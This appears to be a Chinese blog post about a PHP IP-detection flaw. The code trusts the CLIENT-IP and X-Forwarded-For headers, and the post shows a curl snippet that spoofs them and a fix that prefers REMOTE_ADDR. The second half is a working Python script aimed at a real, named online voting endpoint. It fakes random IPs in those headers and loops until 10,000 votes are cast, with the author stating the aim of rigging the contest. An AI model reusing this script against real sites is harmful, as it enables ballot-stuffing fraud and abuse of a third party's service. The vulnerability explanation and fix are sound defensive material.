全怪我们太穷了,又不认识人。
项目说明
php获取IP问题
一般我们写的获取ip的方式:
1 2 3 4 5 6 7 8 9 10 11 12
| function GetIP(){ if (!empty($_SERVER["HTTP_CLIENT_IP"])) { $cip = $_SERVER["HTTP_CLIENT_IP"]; } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { $cip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } elseif (!empty($_SERVER["REMOTE_ADDR"])) { $cip = $_SERVER["REMOTE_ADDR"]; } else { $cip = "0.0.0.0"; } return $cip; }
|
其实这是有问题的,通过header我们可以轻易改变ip:
1 2 3 4 5 6 7 8 9 10 11 12 13
| $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, "127.0.0.1/server.php"); $header = array( 'CLIENT-IP:58.68.44.61', 'X-FORWARDED-FOR:58.68.44.61', );
curl_setopt($curl, CURLOPT_HTTPHEADER, $header); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$str = curl_exec($curl); curl_close($curl); echo $str;
|
解决方法:
在判断的时候以$_SERVER["REMOTE_ADDR"]
优先。
python脚本
初学,不喜勿喷
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import threading import random import socket import struct import requests import json import time
url = 'http://kepudasai.cdstm.cn/index.php?kepu-postvote'
data = {'group': 'gaozhongzu','key' : 10}
def createHeader(): ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))) headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0', 'CLIENT-IP': ip, 'X-FORWARDED-FOR': ip } return headers
def toupiao(): index = 0 headers = createHeader(); while True: html = requests.post(url, data=data, headers=headers) result = json.loads(html.text) if(result['error'] == 1): time.sleep(random.randint(1, 3)) headers = createHeader(); else: index += 1 if(index == 10000): print index break
toupiao()
|